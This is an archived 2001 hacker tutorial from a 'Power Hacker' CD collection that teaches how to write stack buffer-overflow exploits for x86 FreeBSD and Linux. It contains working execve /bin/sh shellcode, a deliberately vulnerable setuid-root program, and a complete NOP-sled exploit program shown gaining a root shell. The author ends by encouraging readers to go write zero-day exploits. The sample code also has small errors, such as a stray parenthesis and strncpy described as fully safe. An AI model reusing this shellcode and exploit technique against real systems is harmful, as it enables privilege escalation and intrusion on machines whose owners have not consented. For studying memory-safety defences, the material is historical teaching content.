home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / basicoverflows / overflows.txt < prev    next >
Encoding:
Text File  |  2001-03-24  |  11.2 KB  |  358 lines

  1.  
  2. A guide to writing simple buffer-overflow exploits for x86 *nix.
  3.  
  4. by fides [f1d3s@lineone.net]
  5.  
  6.  
  7. This guide intends to teach the basics of buffer overflow to the average C programmer
  8. without the need for complex knowledge of assembly.
  9.  
  10. During this paper I will be using FreeBSD 4.2-Release to demonstrate procedures.
  11.  
  12.  
  13.  
  14. 1.  What is a buffer overflow?
  15.     ==========================
  16.  
  17.  
  18. A buffer overflow is a condition in a program whereby a function attempts to copy more
  19. data into a buffer than it can hold.  For example:
  20.  
  21. char input[] = "aaaaaaaaaaa");
  22. char buffer[10];
  23. strcpy(buffer, input);
  24.  
  25. This would cause a segmentation fault because we are copying 11 bytes into the buffer
  26. which can only hold 10.  The buffer has been overflowed.
  27.  
  28. The 'safe' version of the above code would be:
  29.  
  30. char input[] = "aaaaaaaaaaa");
  31. char buffer[10];
  32. strncpy(buffer, input, sizeof(buffer));
  33.  
  34. This time it only copies the maximum amount of data that the buffer can handle, so the
  35. buffer can never be overflowed.  Unfortunately, not everybody is this careful when writing
  36. their code, and this is why there is so much vulnerable software these days.
  37.  
  38.  
  39.  
  40. 2.  So what happens to the extra byte(s)?
  41.     =====================================
  42.  
  43.  
  44. I could get into a lot of detail about the stack here, but I wanted to keep this paper
  45. simple so that the reader can build exploits without having a degree in x86 assembly.
  46.  
  47. In memory, our buffer (of 10 bytes) looks like this:
  48.  
  49.    buffer    sfp   ret
  50. [BBBBBBBBBB][xxxx][xxxx]
  51.  
  52. This is part of a Stack Frame.  Basically, we have 10 bytes of buffer (actually 9 plus a NULL
  53. character to terminate it) then we have a four-byte Stack Frame Pointer and a four-byte Return -
  54. Address.
  55.  
  56. When a function such as strcpy() is called, a stack frame is allocated for the buffer and
  57. the return address in this stack frame is set to the next instruction AFTER the strcpy() call.
  58.  
  59. For example:
  60.  
  61. strcpy(one, two);
  62. printf("String copied.\n");
  63.  
  64. when strcpy() is called in this code, the return address is set to the address of the next
  65. instruction which will be the assembly equivalent of the printf() call.  This is so that
  66. when strcpy() has finished, the program returns execution at the return address set in the
  67. stack frame.
  68.  
  69. So lets imagine what would happen if that return address were to somehow be changed.  Instead
  70. of returning back to just after the strcpy() call and continuing execution, the program
  71. would jump to the location in memory specified by the return address.  Lets assume the
  72. program is owned by root (uid 0) and it mode +s (setuid).  If the return address could be
  73. pointed to shellcode (code that will spawn a shell), the user running the program could
  74. get a root shell.  And *that* is what we are aiming for ;)
  75.  
  76. So lets look at our Stack Frame in memory when we copy 18 bytes into it instead of the 10 that
  77. are allocated by the buffer.  In this example I will assume we strcpy()'d 18 character 'd's into
  78. the buffer.
  79.  
  80.    buffer    sfp   ret
  81. [dddddddddd][dddd][dddd]
  82.  
  83. In this example the return address is set to 0x64646464  (0x64 is the ascii value of 'd')
  84.  
  85. So we can obviously set the return address to pretty much anything we want to really, except
  86. for the use of NULLs.  A string of data is always terminated by a NULL, so if we set the return
  87. address to something like 0x64006464, it would take the NULL as being the end of the string and
  88. the rest of the address would not be copied in.  This also applies to any data we decide to put
  89. into the buffer.
  90.  
  91.  
  92. 3.  The Stack Pointer
  93.     =================
  94.  
  95.  
  96. Every program has a stack pointer which is the address of the beginning of the stack.  We can
  97. find the stack pointer for a system using the following code:
  98.  
  99.  
  100. unsigned long sp(void)
  101. {
  102.     __asm__("movl %esp, %eax");
  103. }
  104.  
  105. void main(void)
  106. {
  107.     printf("0x%x\n", sp());
  108. }
  109.  
  110.  
  111. The function sp() contains the assembly instruction movl which copies the value of the stack
  112. pointer to the return buffer for the function, so it is returned to the main function and
  113. displayed.
  114.  
  115. $ ./sp
  116. 0xbfbffbc8
  117. $
  118.  
  119. Ok, so we know our stack pointer is 0xbfbffbc8.  This means that if we write a program, any
  120. variables we declare will be allocated memory just after this address.  So with a little guesswork
  121. and some luck, we can find the address of a buffer in memory.
  122.  
  123.  
  124. 4.  Shellcode
  125.     =========
  126.  
  127.  
  128. Shellcode is raw code in opcode format that will spawn a shell.  The normal and most common type
  129. of shellcode is a straight /bin/sh execve() call.  This code calls execve() to execute /bin/sh
  130. which obviously spawns a shell.  There are many papers on writing shellcode, so I won't go into
  131. any detail or attempt to teach you to write shellcode.
  132.  
  133. The three things you *need* to know about shellcode are:
  134.  
  135.  *  It must not contain any NULL characters.
  136.  *  It should generally be as small as possible.
  137.  *  It is os and architecture dependant.  So FreeBSD x86 shellcode will not work on a Sparc and
  138.     Linux shellcode will not work under *bsd.
  139.  
  140.  
  141. Example shellcode:
  142.  
  143. \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
  144. \x89\xe3\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80
  145.  
  146.  
  147. This is shellcode for freebsd that execve()'s /bin/sh.
  148.  
  149. We can test this code using the following program:
  150.  
  151. char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  152.                   "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
  153.                   "\xb0\x3b\x50\xcd\x80";
  154.  
  155. int main() {
  156.     void (*s)()=(void *)bsdshell;   /* create a function pointing to the code */
  157.     s();
  158. }
  159.  
  160.  
  161. And as we can see, it works:
  162.  
  163. fides@brotherhood:~$ gcc -o shell shell.c
  164. fides@brotherhood:~$ ./shell
  165. $ exit
  166. fides@brotherhood:~$
  167.  
  168.  
  169. For more examples of shellcode for various systems, visit http://darknet.evilgeeks.co.uk
  170.  
  171.  
  172. 5.  Exploitation
  173.     ============
  174.  
  175.  
  176. We will now create a vulnerable program and attempt to exploit it.  Here is our vulnerable
  177. program:
  178.  
  179.  
  180. /* vulnerable.c */
  181.  
  182. int main(int argc, char *argv[])
  183. {
  184.     char buffer[500];
  185.     if(argc>=2) strcpy(buffer, argv[1]);
  186.     return 0;
  187. }
  188.  
  189.  
  190. This will allocate a buffer of 500 bytes and copy into it whatever is given as the first
  191. command-line argument.  So we can pass it more than 500 bytes on the command line and overflow
  192. the buffer.
  193.  
  194. To make this more real, we should set the program suid so that when run the user becomes root.
  195.  
  196. $ gcc -o vulnerable vulnerable.c
  197. $ su
  198. Password:
  199. # chown 0 vulnerable
  200. # chmod 4755 vulnerable
  201. # exit
  202. $ ./vulnerable hi_there
  203. $
  204.  
  205. Ok, all is good, the program copies its data and returns with no problem.  Now lets check that 501
  206. bytes is going to overflow it.
  207.  
  208.  
  209. /* overflow.c */
  210.  
  211. void main()
  212. {
  213.     char buffer[501];
  214.     memset(&buffer, 'a', sizeof(buffer));
  215.     execl("./vulnerable", "vulnerable", buffer, 0);
  216. }
  217.  
  218.  
  219. $ gcc -o overflow overflow.c
  220. $ ./overflow
  221. Bus error
  222. $
  223.  
  224.  
  225. Ok so all is good.  Now we need to actually exploit this vulnerable program to spawn a root shell.
  226.  
  227. We have a buffer of 500 bytes to play with, so we can put our shellcode somewhere in this, but we
  228. need to be able to jump to it in memory, therefore we must know (roughly) where it is.
  229.  
  230. Remember what we said before, the stack pointer points to the beginning of the stack so the address
  231. of the buffer must be somewhere soon after it.
  232.  
  233. But how do we know exactly where to jump?  The answer is we often don't, but the task of trial-and-
  234. error can be made a lot easier by the use of NOPs.
  235.  
  236. A 'NOP' is instruction \x90 in assembly that simply does nothing for one tick and passes on to the
  237. next instruction.  NOPs are sometimes used in timing to create delays.
  238.  
  239. How can the NOP be useful to us?  Well we have to jump to the start of our shellcode at its
  240. position in the buffer of the vulnerable program, but we don't know exactly where it is.  But what
  241. if the first 200 bytes of the buffer were NOPs just before the shellcode?  We could jump to any
  242. position in the bank of NOPs and the execution would just run through them in a few microseconds
  243. until it reached the shellcode which would then be executed.  In this way, we only need a very
  244. rough idea of where the buffer is, so we can get the stack pointer (using the function shown
  245. previously) and subtract an offset from it in increments of say 30 or 40 until we hit a NOP
  246. somewhere in the buffer.
  247.  
  248. So we need to create our own buffer in the exploit code, of 600 bytes.  We fill it with the return
  249. address to make sure our ret address last on the register we want to overwrite.  The first half of the
  250. buffer we will with NOPs with the shellcode in the middle.
  251.  
  252. We will take an argument from the command line to specify the offset from the stack pointer. (i.e.
  253. guess the address of a NOP in the buffer)
  254.  
  255.  
  256. /* exploit.c */
  257.  
  258. #include <stdlib.h>
  259.  
  260. #define BUFFERSIZE 600  /* vulnerable buffer + 100 bytes */
  261.  
  262. /* shellcode for freebsd (*bsd?) */
  263. char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  264.                   "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
  265.                   "\xb0\x3b\x50\xcd\x80";
  266.  
  267. /* linux x86 shellcode */
  268. char lunixshell[] = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"
  269.                     "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
  270.                     "\x80\xe8\xde\xff\xff\xff/bin/sh";
  271.  
  272. unsigned long sp(void)
  273. {
  274.     __asm__("movl %esp, %eax");
  275. }
  276.  
  277. void usage(char *cmd)
  278. {
  279.     printf("\nusage: %s <offset> <os>\n\n", cmd);
  280.     printf("OS types are:  1. FreeBSD (*bsd?)  2. Linux\n\n");
  281.     exit(-1);
  282. }
  283.  
  284. int main(int argc, char *argv[])
  285. {
  286.     int i, offset, os;
  287.     long esp, ret, *addr_ptr;
  288.     char *buffer, *ptr, *osptr;
  289.  
  290.     if(argc<3) usage(argv[0]);   /* quit if they didnt specify an offset */
  291.  
  292.     offset = atoi(argv[1]);  /* get the offset they specified */
  293.     esp    = sp();           /* get the stack pointer */
  294.     ret    = esp-offset;     /* sp - offset = return address */
  295.     os     = atoi(argv[2]);  /* get os */
  296.  
  297.     if(os<1 || os>2) usage(argv[0]);
  298.  
  299.     printf("Stack pointer: 0x%x\n", esp);
  300.     printf("       Offset: 0x%x\n", offset);
  301.     printf("  Return addr: 0x%x\n", ret);
  302.  
  303.     /* allocate memory for our buffer */
  304.     if(!(buffer = malloc(BUFFERSIZE))) {
  305.         printf("Couldn't allocate memory.\n");
  306.         exit(-1);
  307.     }
  308.  
  309.     /* fill buffer with ret addr's */
  310.     ptr = buffer;
  311.     addr_ptr = (long *)ptr;
  312.     for(i=0; i<BUFFERSIZE; i+=4)
  313.         *(addr_ptr++) = ret;
  314.  
  315.     /* fill first half of buffer with NOPs */
  316.     for(i=0; i<BUFFERSIZE/2; i++)
  317.         buffer[i] = '\x90';
  318.  
  319.     /* insert shellcode in the middle */
  320.     if(os == 1) {
  321.         ptr = buffer + ((BUFFERSIZE/2) - (strlen(bsdshell)/2));
  322.         for(i=0; i<strlen(bsdshell); i++)
  323.             *(ptr++) = bsdshell[i];
  324.     } else {
  325.         ptr = buffer + ((BUFFERSIZE/2) - (strlen(lunixshell)/2));
  326.         for(i=0; i<strlen(lunixshell); i++)
  327.             *(ptr++) = lunixshell[i];
  328.     }
  329.  
  330.     /* call the vulnerable program passing our exploit buffer as the argument */
  331.  
  332.     buffer[BUFFERSIZE-1] = 0;
  333.     execl("./vulnerable", "vulnerable", buffer, 0);
  334.  
  335.     return 0;
  336. }
  337.  
  338.  
  339. Now we can test our exploit:
  340.  
  341. $ ./exploit 0 1
  342. Stack pointer: 0xbfbffb90
  343.        Offset: 0x0
  344.   Return addr: 0xbfbffb90
  345. #
  346.  
  347.  
  348. Here 0-221 works for the offset because the buffer we are overflowing is the very first variable
  349. declared in vulnerable.c, so it is right at the beginning of the program's stack. (note your os may
  350. be slightly different)
  351.  
  352.  
  353. That's it!  Now you can run off and code some m4d 0d4y :p
  354.  
  355.  
  356. --fides
  357.  
  358. /*                   www.hack.co.za  [22 march 2001]*/